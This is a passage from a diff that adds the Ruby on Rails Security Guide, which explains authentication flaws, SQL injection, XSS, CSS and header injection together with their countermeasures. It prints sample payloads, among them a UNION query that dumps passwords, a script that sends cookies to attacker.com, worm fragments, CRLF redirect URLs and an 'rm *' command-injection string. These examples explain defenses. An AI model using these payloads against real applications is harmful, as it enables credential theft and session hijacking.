+ +If you want to set a protected attribute, you will to have to assign it individually: + +<ruby> +params[:user] #=> {:name => "ow3ned", :admin => true} +@user = User.new(params[:user]) +@user.admin #=> false # not mass-assigned +@user.admin = true +@user.admin #=> true +</ruby> + +A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes. This can be easily achieved with a very simple initializer: + +<ruby> +ActiveRecord::Base.send(:attr_accessible, nil) +</ruby> + +This will create an empty whitelist of attributes available for mass assignment for all models in your app. As such, your models will need to explicitly whitelist accessible parameters by using an +attr_accessible+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via +attr_accessible+) as dictated by your failing tests. + +h3. User Management + +-- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ + +There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. + +Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): + +<plain> +http://localhost:3006/user/activate +http://localhost:3006/user/activate?id= +</plain> + +This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: + +<ruby> +User.find_by_activation_code(params[:id]) +</ruby> + +If the parameter was nil, the resulting SQL query will be + +<sql> +SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 +</sql> + +And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. + +h4. Brute-Forcing Accounts + +-- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ + +A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes. + +Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. + +However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. + +In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. + +h4. Account Hijacking + +-- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_ + +h5. Passwords + +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_. + +h5. E-Mail + +However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_. + +h5. Other + +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_. + +h4. CAPTCHAs + +-- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._ + +But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API. + +You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. + +Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. + +Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: + +* position the fields off of the visible area of the page +* make the elements very small or colour them the same as the background of the page +* leave the fields displayed, but tell humans to leave them blank + +The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. + +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html: + +* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. +* Randomize the field names +* Include more than one honeypot field of all types, including submission buttons + +Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_. + +h4. Logging + +-- _Tell Rails not to put passwords in the log files._ + +By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log. + +<ruby> +filter_parameter_logging :password +</ruby> + +h4. Good Passwords + +-- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ + +Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: + +password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. + +It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked. + +A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. + +h4. Regular Expressions + +-- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ + +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this: + +<ruby> +class File < ActiveRecord::Base + validates_format_of :name, :with => /^[\w\.\-\+]+$/ +end +</ruby> + +This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems: + +<plain> +file.txt%0A<script>alert('hello')</script> +</plain> + +Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: + +<ruby> +/\A[\w\.\-\+]+\z/ +</ruby> + +h4. Privilege Escalation + +-- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ + +The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: + +<ruby> +@project = Project.find(params[:id]) +</ruby> + +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_: + +<ruby> +@project = @current_user.projects.find(params[:id]) +</ruby> + +Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. + +Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. + +h3. Injection + +-- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._ + +Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection. + +h4. Whitelists versus Blacklists + +-- _When sanitizing, protecting or verifying something, whitelists over blacklists._ + +A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_: + +* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions. +* Use attr_accessible instead of attr_protected. See the mass-assignment section for details +* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. +* Don't try to correct user input by blacklists: +** This will make the attack work: "<sc<script>ript>".gsub("<script>", "") +** But reject malformed input + +Whitelists are also a good approach against the human factor of forgetting something in the blacklist. + +h4. SQL Injection + +-- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._ + +h5. Introduction + +SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: + +<ruby> +Project.find(:all, :conditions => "name = '#{params[:name]}'") +</ruby> + +This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be: + +<sql> +SELECT * FROM projects WHERE name = '' OR 1 --' +</sql> + +The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. + +h5. Bypassing Authorization + +Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. + +<ruby> +User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'") +</ruby> + +If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: + +<sql> +SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 +</sql> + +This will simply find the first record in the database, and grants access to this user. + +h5. Unauthorized Reading + +The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: + +<ruby> +Project.find(:all, :conditions => "name = '#{params[:name]}'") +</ruby> + +And now let's inject another query using the UNION statement: + +<plain> +') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- +</plain> + +This will result in the following SQL query: + +<sql> +SELECT * FROM projects WHERE (name = '') UNION + SELECT id,login AS name,password AS description,1,1,1 FROM users --') +</sql> + +The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. + +Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/. + +h5. Countermeasures + +Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>. + +Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: + +<ruby> +Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) +</ruby> + +As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: + +<ruby> +Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password}) +</ruby> + +The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_. + +h4. Cross-Site Scripting (XSS) + +-- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._ + +h5. Entry Points + +An entry point is a vulnerable URL and its parameters where an attacker can start an attack. + +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests. + +XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. + +During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. + +A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/. + +h5. HTML/JavaScript Injection + +The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_. + +Here is the most straightforward test to check for XSS: + +<html> +<script>alert('Hello');</script> +</html> + +This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: + +<html> +<img src=javascript:alert('Hello')> +<table background="javascript:alert('Hello')"> +</html> + +h6. Cookie Theft + +These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: + +<plain> +<script>document.write(document.cookie);</script> +</plain> + +For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie. + +<html> +<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +</html> + +The log files on www.attacker.com will read like this: + +<plain> +GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 +</plain> + +You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though. + +h6. Defacement + +With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: + +<html> +<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> +</html> + +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. + +A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. + +Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": + +<plain> +http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> + <script src=http://www.securitylab.ru/test/sc.js></script><!-- +</plain> + +h6. Countermeasures + +_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_. + +Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. + +Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: + +<ruby> +strip_tags("some<<b>script>alert('hello')<</b>/script>") +</ruby> + +This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize(): + +<ruby> +tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) +s = sanitize(user_input, :tags => tags, :attributes => %w(href title)) +</ruby> + +This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. + +As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (+&amp;+, +&quot;+, +&lt+;, and +&gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources. + +h6. Obfuscation and Encoding Injection + +Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding: + +<html> +<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97; + &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> +</html> + +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks. + +h5. Examples from the Underground + +_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._ + +The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm: + +<html> +<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' + target=""onload="var http_request = false; var Email = ''; + var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... +</html> + +The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. + +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. + +In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. + +The MySpace Samy worm will be discussed in the CSS Injection section. + +h4. CSS Injection + +-- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._ + +CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm. + +MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this: + +<html> +<div style="background:url('javascript:alert(1)')"> +</html> + +So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code. + +<html> +<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> +</html> + +The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”: + +<plain> +alert(eval('document.body.inne' + 'rHTML')); +</plain> + +The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this: + +<html> +<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> +</html> + +Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. + +In the end, he got a 4 KB worm, which he injected into his profile page. + +The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example). + +h5. Countermeasures + +This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. + +h4. Textile Injection + +-- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._ + +For example, RedCloth translates +_test_+ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4: + +<ruby> +RedCloth.new('<script>alert(1)</script>').to_html +# => "<script>alert(1)</script>" +</ruby> + +Use the :filter_html option to remove HTML which was not created by the Textile processor. + +<ruby> +RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html +# => "alert(1)" +</ruby> + +However, this does not filter all HTML, a few tags will be left (by design), for example <a>: + +<ruby> +RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html +# => "<p><a href="javascript:alert(1)">hello</a></p>" +</ruby> + +h5. Countermeasures + +It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section. + +h4. Ajax Injection + +-- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ + +If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. + +h4. RJS Injection + +-- _Don't forget to escape in JavaScript (RJS) templates, too._ + +The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <em class="highlight">If you allow user input in RJS templates, do escape it using +escape_javascript()+ within JavaScript functions, and in HTML parts using +h()+</em>. Otherwise an attacker could execute arbitrary JavaScript. + +h4. Command Line Injection + +-- _Use user-supplied command line parameters with caution._ + +If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|). + +A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_. + +<ruby> +system("/bin/echo","hello; rm *") +# prints "hello; rm *" and does not delete files +</ruby> + + +h4. Header Injection + +-- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._ + +HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area. + +Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: + +<ruby> +redirect_to params[:referer] +</ruby> + +What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this: + +<plain> +http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld +</plain> + +And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this: + +<plain> +http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! +http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld +</plain> + +Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first. + +<plain> +HTTP/1.1 302 Moved Temporarily +(...) +Location: http://www.malicious.tld +</plain> + +So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._ + +h5. Response Splitting + +If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be: + +<plain> +HTTP/1.1 302 Found [First standard 302 response] +Date: Tue, 12 Apr 2005 22:09:07 GMT +Location:
Content-Type: text/html + + +HTTP/1.1 200 OK [Second New response created by attacker begins] +Content-Type: text/html + + +<html><font color=red>hey</font></html> [Arbitary malicious input is +Keep-Alive: timeout=15, max=100 shown as the redirected page] +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: text/html +</plain> + +Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ + + +h3. Additional Resources + +The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here: + +* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info +* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security +* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) +* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7 + +* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile new file mode 100644 index 0000000000..12fc836edf --- /dev/null +++ b/railties/guides/source/testing.textile @@ -0,0 +1,951 @@ +h2. A Guide to Testing Rails 